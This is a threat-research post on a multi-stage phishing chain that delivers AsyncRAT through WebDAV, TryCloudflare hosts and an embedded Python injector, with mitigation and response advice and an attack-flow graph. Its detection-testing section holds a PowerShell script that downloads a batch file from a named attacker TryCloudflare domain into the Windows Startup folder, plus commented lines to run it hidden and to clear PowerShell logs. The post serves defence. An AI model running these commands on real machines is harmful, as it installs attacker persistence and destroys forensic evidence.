SOC Prime Bias: Critical

14 Jan 2026 18:04

How MDR Uncovered a Multi-Stage AsyncRAT Attack Chain

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
How MDR Uncovered a Multi-Stage AsyncRAT Attack Chain
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report describes a multi-stage intrusion chain initiated through phishing emails that deliver double-extension ZIP lures and transition into a WebDAV-hosted payload sequence. The operators abuse Cloudflare free-tier infrastructure and bundled Python components to deploy AsyncRAT on victim endpoints. Execution and persistence rely on native Windows tooling—Windows Script Host, PowerShell, and batch scripts—while the final stage uses code injection into explorer.exe. By routing delivery and staging through widely trusted cloud services, the activity blends into normal traffic and can evade conventional perimeter controls.

Investigation

Trend Micro investigators reported telemetry consistent with a staged delivery flow: retrieval of a .pdf.zip archive from Dropbox, execution of embedded .url shortcuts, and subsequent WebDAV interaction attributed to svchost.exe and rundll32.exe. The chain then deployed Python 3.14.0 embedded files, which were used to run a custom Python script responsible for APC injection of AsyncRAT shellcode. Persistence was achieved by placing batch files in the user Startup directory. Analysts also identified and correlated multiple TryCloudflare hosts supporting the infrastructure.

Mitigation

Reduce exposure by training users to treat double-extension archives and unexpected ZIP attachments as suspicious and by tightening filtering for phishing-delivered cloud links. Block or strictly control access to unsanctioned cloud-tunneling services and monitor for abnormal reliance on WebDAV in environments where it is uncommon. Restrict script execution from user-writable directories, and harden controls around Startup folder usage and scheduled-task creation. Prioritize EDR/behavioral detections that can surface script-driven execution chains and code-injection techniques targeting benign processes.

Response

If activity is detected, isolate the endpoint and stop suspicious processes associated with the chain (notably svchost.exe, rundll32.exe, and python.exe where tied to the incident). Remove persistence by deleting malicious batch artifacts from the Startup directory, eradicate downloaded Python archives and any AsyncRAT components, and perform a full forensic sweep for additional staging files and lateral movement. Update network controls and blocklists to include the identified TryCloudflare domains and any associated infrastructure observed during triage.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b>: Victim receives a phishing email with a doubleu2011extension .pdf.url attachment that links to a Dropbox archive."] class attack_phishing action file_shortcut["<b>File</b> – <b>.url shortcut</b>: Masquerades as a PDF invoice and points to the malicious Dropbox archive."] class file_shortcut file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution</b>: User opens the shortcut, triggering the initial download."] class action_user_exec action file_archive["<b>File</b> – <b>Dropbox archive</b>: Appears as a PDF invoice, contains the next stage payloads."] class file_archive file action_masquerade["<b>Action</b> – <b>T1036.008 Masquerading</b>: Archive and shortcut mimic legitimate PDF files to avoid suspicion."] class action_masquerade action tool_wsh["<b>Tool</b> – <b>Windows Script Host</b>: .wsh/.wsf files executed to retrieve further scripts."] class tool_wsh tool action_script_proxy["<b>Action</b> – <b>T1216 System Script Proxy Execution</b>: Executes WSH files as a proxy for script download."] class action_script_proxy action tool_rundll32["<b>Tool</b> – <b>rundll32.exe</b>: Invokes davclnt.dll (DavSetCookie) to talk to a WebDAV server."] class tool_rundll32 tool action_rundll32["<b>Action</b> – <b>T1218.011 Rundll32</b>: Uses rundll32 to communicate with a Cloudflareu2011hosted WebDAV server."] class action_rundll32 action tool_powershell["<b>Tool</b> – <b>PowerShell</b>: Downloads the Python 3.14 embed zip, extracts it and pulls additional batch files."] class tool_powershell tool action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: Executes PowerShell commands for download and extraction."] class action_powershell action action_hide["<b>Action</b> – <b>T1564.001 Hide Artifacts</b>: Stores payloads in hidden files within the user Temp directory."] class action_hide action file_hidden["<b>File</b> – <b>Hidden Temp files</b>: ne.py, new.bin, a.txt placed in %TEMP% and marked hidden."] class file_hidden file action_persistence["<b>Action</b> – <b>T1037.001 Logon Script</b>: Places batch files in the Startup folder for persistence."] class action_persistence action file_startup["<b>File</b> – <b>Startup batch files</b>: ahke.bat and olsm.bat located in the user's Startup directory."] class file_startup file action_ingress["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b>: Transfers additional malicious components from the WebDAV server."] class action_ingress action action_cloudapi["<b>Action</b> – <b>T1059.009 Cloud API</b>: Sends HTTP/HTTPS requests to trycloudflare.com domains to retrieve final payloads."] class action_cloudapi action action_injection["<b>Action</b> – <b>T1055.004 Process Injection</b>: Python script ne.py injects AsyncRAT shellcode into explorer.exe via APC injection."] class action_injection action process_explorer["<b>Process</b> – <b>explorer.exe</b>: Target process for APC shellcode injection."] class process_explorer process malware_asyncrat["<b>Malware</b> – <b>AsyncRAT</b>: Injected shellcode establishes a remote access tool."] class malware_asyncrat malware action_c2["<b>Action</b> – <b>T1102.002 Web Service</b>: AsyncRAT communicates bidirectionally over HTTPS with Cloudflare infrastructure."] class action_c2 action %% Connections attack_phishing –>|delivers| file_shortcut file_shortcut –>|opened by victim triggers| action_user_exec action_user_exec –>|downloads| file_archive file_archive –>|used in| action_masquerade action_masquerade –>|enables execution of| tool_wsh tool_wsh –>|executes as part of| action_script_proxy action_script_proxy –>|calls| tool_rundll32 tool_rundll32 –>|invokes| action_rundll32 action_rundll32 –>|prepares environment for| tool_powershell tool_powershell –>|runs| action_powershell action_powershell –>|stores files in| action_hide action_hide –>|creates| file_hidden file_hidden –>|used by| action_persistence action_persistence –>|places| file_startup file_startup –>|triggers| action_ingress action_ingress –>|fetches more components via| action_cloudapi action_cloudapi –>|delivers payload to| action_injection action_injection –>|injects into| process_explorer process_explorer –>|hosts| malware_asyncrat malware_asyncrat –>|communicates via| action_c2 "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands

    An adversary who has gained initial PowerShell access on a compromised Windows host wants to set up a Python execution environment and achieve persistence. They:

    1. Download the embedded Python distribution directly to the user’s local Temp directory using Invoke‑WebRequest.
    2. Download a malicious batch script (ahke.bat) from a Cloudflare‑proxied domain to the user’s Startup folder so it executes on every logon.
    3. Execute the downloaded Python zip (omitted here for brevity) to run further payloads.

    These steps produce exactly the command strings matched by the Sigma rule, generating PowerShell script‑block logs with the iwr … -OutFile … pattern.

  • Regression Test Script

    # -------------------------------------------------
    # PowerShell simulation of AsyncRAT environment setup
    # -------------------------------------------------
    
    # 1. Download Python embedded zip to user temp folder
    $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip'
    $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip"
    iwr $pythonUrl -OutFile $pythonDest
    
    # 2. Download malicious batch file to Startup for persistence
    $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat'
    $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat"
    iwr $batUrl -OutFile $batDest
    
    # 3. (Optional) Trigger execution of the batch to demonstrate persistence
    # Start-Process -FilePath $batDest -WindowStyle Hidden
    # -------------------------------------------------
  • Cleanup Commands

    # Remove the downloaded artifacts
    Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue
    
    # Optionally clear PowerShell script block logs (requires admin)
    # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"